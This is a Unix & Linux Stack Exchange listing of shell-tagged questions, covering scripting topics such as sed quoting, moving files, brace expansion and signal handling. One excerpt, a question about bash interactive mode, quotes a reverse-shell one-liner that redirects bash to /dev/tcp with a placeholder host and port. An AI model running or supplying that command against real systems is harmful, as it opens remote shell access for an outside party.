The shell is unix's command-line interface. You can type commands in a shell interactively, or write scripts to automate tasks. Use this tag for questions applying to /bin/sh and most compatible shells (ash, bash, ksh, zsh, …).

learn more… | top users | synonyms (1)

3
votes
2answers
63 views

How to format a file while moving?

I have 2 directories. SOURCE and DESTINATION. I am moving the .csv files from source to destination as mv -f SOURCE/*.csv DESTINATION/ While moving, I want to remove the first and last line from ...
3
votes
5answers
332 views

Why is Terminal automatically entering my command after pasting text?

This happens whether I use ctrl+shift+v or paste from the right-click menu. How do I make this behavior stop?
0
votes
0answers
15 views

sorting files using header information [duplicate]

I have multiple image files inside a directory having the same extension (.mrc). In the terminal, if I do, header , it gives following output: RO image file on unit 1 : ...
12
votes
3answers
5k views

How do I temporarily bypass an alias in tcsh?

I am using tcsh. bash and zsh and other suggestions won't help here. I have several aliases that are named the same thing as another command, so if I did unalias it, typing the same thing would now ...
0
votes
1answer
143 views

ARRAY- Accept user input and output the corresponding choice from array

I'm working on a script that has an array of around 10 elements. All I have to do is that the script will accept user input of minimum 0 elements and maximum 10 elements (of the array) and it will ...
0
votes
4answers
303 views

How to skip the first argument in a script

Linux Pocket Guide has a nice example on how to go over all the arguments in a script for arg in $@ do echo "I found the argument $arg" done I am writing a script in which all the arguments will ...
2
votes
0answers
53 views

Bash: redirect command argument completion [duplicate]

When you have written in the shell $ somecmd and double tab, you get all the suggestions that apply for that command. How can you redirect this output? I am aware of compgen, it seems to be able to ...
5
votes
4answers
5k views

How can I copy a file in a bash script and rename it while copying and place it in the same directory

How would I copy a file "file.doc" and rename it while copying to "file_copy.doc" and place it in the same directory ? And this only by calling the script and adding the file name in the argument: ...
0
votes
3answers
59 views

How to correctly use quotes in sed? [duplicate]

For example I want to change "'this text'" "that text" 'other_text' into 'this text' "that text" 'other_text' I tried sed -e 's/^"\'/"/g' but my quoting must be off. Ubuntu.
20
votes
3answers
2k views

What does `<&-` do?

I copied a snippet of Bash to background an ssh command executed remotely: ssh user@remote <<CMD some process <&- >log 2>error & CMD What does <&- do? My guess is ...
1
vote
1answer
54 views

Linux Mint: make a “public clickable launcher” from a sh root only?

I made a shell script to install packages, configure them, etc. Usually I run it via Terminal sudo sh gizmo.sh Now I aim to put it in a double-clickable file to run it, for any user (no sudo, so su ...
4
votes
6answers
388 views

Is there a Unix command to quote input lines?

I am wondering if there is a filter command to quote input lines. So when piping: line number 1 line number 2 line number 3 to it, you get: "line number 1" "line number 2" "line number 3" I ...
0
votes
0answers
17 views

Process which expects input from keyboard [duplicate]

What can happen to process running in foreground which always expects input from keyboard, if we don't close our terminal but only disconect USB cable. TERMINAL<-----USB---->BeagleBone Can ...
1
vote
1answer
243 views

Get only files modified within last 30 minutes using sftp get

Within a .sh script, I'm using expect to automatically sftp to another computer in order to get files. My script will be set to run every 30 minutes, at which point I want to get only files that were ...
1
vote
2answers
108 views

Issue when I try passing parameters to find command?

Parameter: export exc_lst='! -path "/var/app/s2/pnl/incoming/recondata/*.*"'; When I try using the below find commands: find $FILE_DIR -name "*.*" "${exc_lst}" -type f -mtime +20 -user sh79790 ...
1
vote
2answers
280 views

Parse XML file to copy the content into another file at a particular spot in the file?

I have an xml file (client_23.xml) in which I need to add few lines at a particular section basis on what is there in other xml file (abc_lop.xml). Here is my abc_lop.xml file in which you see I have ...
16
votes
4answers
15k views

Why is SIGINT not propagated to child process when sent to its parent process?

Given a shell process (e.g. sh) and its child process (e.g. cat), how can I simulate the behavior of Ctrl+C using the shell's process ID? This is what I've tried: Running sh and then cat: ...
13
votes
9answers
16k views

How to chain the commands 'date -d @xxxxxx' and 'find ./'?

I have directories whose names are timestamps, given in milliseconds since 1970-01-01: 1439715011728 1439793321429 1439879712214 . . And I need an output like: 1442039711 Sat Sep 12 08:35:11 ...
5
votes
1answer
90 views

bash shellcheck issue with variables in brace expansion

I'm trying to create an array of file names, based on two variable and using brace expansion, like this: #!/bin/bash altdir=/usr arg=abc tries=({.,$altdir}/{$arg,$arg/main}.{tex,ltx,drv,dtx}) for i ...
2
votes
1answer
47 views

Merge content of one file into another file by replace a function

I am working on a shell script which is getting data from another program and I am using that variable value to read the content from file keep appending to different files after some modification to ...
3
votes
2answers
103 views

Shell script to move files between two dirs

I have multiple folders which contain subfolders like JAN/ Jan/ FEB/ Feb/ MAR/ Mar/ and so on. I need to move all files from JAN/* to Jan/ , FEB/* to Feb/ and so on. How do I achieve this with a shell ...
17
votes
2answers
6k views

Delete all files starting with a question mark

I have a folder in which I have around 4k files. Some of these files start with a a ? or ! character. I need to delete them but can't find an expression that would do so: rm -f ./?* just deletes ...
0
votes
0answers
981 views

bash: ./configure: no such file or directory

I am experimenting with Linux, and my work uses CentOS 6.5, so I am using that at home. I am following a tutorial, followed it closely I believe, yet I am hitting an error like the one mentioned in ...
-2
votes
1answer
53 views

factorial program does not return prompt [closed]

This program (factorial.c) is running but it does not return the prompt at the end, unless you hit enter: #include <stdio.h> int main() { int num, i, fact = 1; printf("Enter a number to ...
2
votes
2answers
136 views

Why is mail-utils / cron sending out so many emails?

I was trying to troubleshoot why my Raspberry Pi isn't sending emails with ssmtp / mail-utils, and so I opened up my gmail account that I use for the Pi. To my surprise, there were 15k unread emails ...
1
vote
1answer
44 views

append few strings at the start and bottom of string coming from file read

I am working on a shell script which is getting data from another program and I am using that variable value to read the content from file and append few things inside those data at start and bottom: ...
2
votes
1answer
116 views

In bash, grep for a line beginning with \, and assign the result using backticks

In bash, I'm trying to grep a file for a line beginning with a \, and return the result using backticks. For example: echo \\Hello > myFile out=`cat myFile | grep '^\\Hello'` echo $out returns ...
0
votes
4answers
77 views

Getting different parts of a line

Suppose I have a line of text as follows: I have a nice car Is there any way to get different words of the line at different positions individually (say, I want to get 'have' and 'nice' parts) ...
1
vote
1answer
58 views

Indirectly expand variables in shell

I need to indirectly reference a variable in the bash shell. I basically want to what you can do in make by writing $($(var)). I have tried using ${$var} which would be the most straight forward ...
0
votes
1answer
140 views

Bash interactive mode on redirect

i have two questions about bash. I was looking into reverse shells, and the -i flag. When I do bash -i > /dev/tcp/ip/port 2>&1 0>&1, I get an interactive shell on the server machine, ...
0
votes
1answer
77 views

combining output of grep command [duplicate]

Suppose I have used the grep command : grep 'pattern' 'filename' and have got the result : John Brown Is there any way to concatenate the outputs into a single one like: John Brown And also ...
5
votes
2answers
2k views

Pass multiple commands to flock

flock -x -w 5 ~/counter.txt 'COUNTER=$(cat ~/counter.txt); echo $((COUNTER + 1)) > ~/counter.txt' How would I pass multiple comands to flock as in the example above? As far as I understand, ...
5
votes
2answers
99 views

restrict private apt repository with rssh - why does apt-get try /bin/sh?

I am trying to set up a private repository via ssh. My sources.list.d/ contains the entry deb ssh://user@host:/repo ./ user is a certificate only account on host. apt-get update works fine. ...
3
votes
3answers
82 views

Rebuild original file from diff files to save disk space

Every day 10GB text file is downloaded, the file is ~200 million lines and ~1% of the lines are changed the next day. I want to keep daily files as backup, but I'm trying to save disk space by using ...
0
votes
2answers
126 views

How to find all files matching (or not matching) a specific pattern in a folder?

How do I find all files in a folder and its subfolders terminated with 3 digits and move them to a new place while keeping the directory structure? Alternatively, how can I find all files whose ...
2
votes
4answers
39 views

slicing different words from output

Suppose, the result of a command in linux shell is as follows: X and Y are friends Is there any way to slice each of the words (X, and, Y, are, friends) or the first n words from the result, so ...
0
votes
1answer
364 views

Getting RE error: repetition-operator operand invalid on osx sed

I'm copy a sed script form Ubuntu debian to osx but getting RE error: repetition-operator operand invalid What is wrong? $ . sed_shorter_version_user_extensions_to_ruby.sh sed: 22: " ### DELETE ...
0
votes
4answers
314 views

passing the results of awk command as a parameter

Suppose I have used awk to get the value of two different columns: Say the output is: abc def Now, I want to use both abc and def as patterns for grep, using a pipeline with the previous ...
17
votes
5answers
2k views

Why use diff/patch when it is easier to just use cp

diff -u file1.txt file2.txt > patchfile creates a patch file which consists of instruction for patch to convert file1.txt to be exactly like file2.txt As the title says, Can't this be done using ...
0
votes
2answers
555 views

Database: 0403-009 The specified number is not valid for this command

getting the error as Database: 0403-009 The specified number is not valid for this command. Code:: #!/usr/bin/ksh #set -x WORKFILE="/tmp/oatest.out" DDLFILE="/tmp/oatest.ddl" ...
9
votes
3answers
36k views

How to merge two files based on the matching of two columns?

I have file1 likes: 0 AFFX-SNP-000541 NA 0 AFFX-SNP-002255 NA 1 rs12103 0.6401 1 rs12103_1247494 0.696 1 rs12142199 0.7672 And a file2: 0 AFFX-SNP-000541 1 0 ...
2
votes
1answer
29 views

Brace expansion and compound command

I do not understand why these two loops are different. It must have something to do with when the brace expansion is performed and how white space is interpreted for i in b{e,\ }s ; do echo $i ; ...
1
vote
1answer
157 views

Bash - syntax in echo

When using /bin/bash, what is the difference between the following two cases: echo $IFS echo "$IFS" I observe different outputs.
0
votes
2answers
70 views

Returning local values from Bash variables?

I studied this article called Returning Values from Bash Functions. Data Lorem. \begin{document} hello \end{document} Case #1 which does not work Code #!/bin/bash function getStart { ...
0
votes
1answer
151 views

How do I run the SSH command to set StrictHostKeyChecking=no?

I'm trying to run the command ssh -o StrictHostKeyChecking=no but I'm a bit lost as to how to run it. I've tried running it from a shell script, but the output was the man page or settings that lists ...
-1
votes
1answer
34 views

getting the pattern from file

I have a text file in the below format. I want to pick one instance each time(line ABC to MNR) and work on the respective lines and columns. Need help to achieve that. ABC 12 20150911 121 005 001 ...
1
vote
2answers
2k views

Running system bash command in PHP script - syntax error: unexpected T_LNUMBER

Below is an extract from a script that I've written in PHP, but contains a system command that executes in bash. Now, the reason for this is because it allows me to use the awk function which is ideal ...
6
votes
2answers
3k views

Where does the TERM environment variable default get set?

When I open a terminal window with the GNOME Terminal emulator in the desktop GUI the shell TERM environment variable defaults to the value xterm. If I use CTL+ALT+F1 to switch to a console TTY ...
0
votes
1answer
102 views

Modifying the search result of grep

Normally, we can search a keyword in a list of pdf files using the following command: for file in *pdf; do pdftotext "$file" - | grep keyword done Now, from the search result, If I want to find ...
2
votes
2answers
89 views

sh -c not get the right output when execute shell script

I loop to get data from array in shell , It works when I execute it in a shell file, with this content: arr=(1 2 3 4 5) for var in ${arr[@]}; do echo $var done But there isn't any ...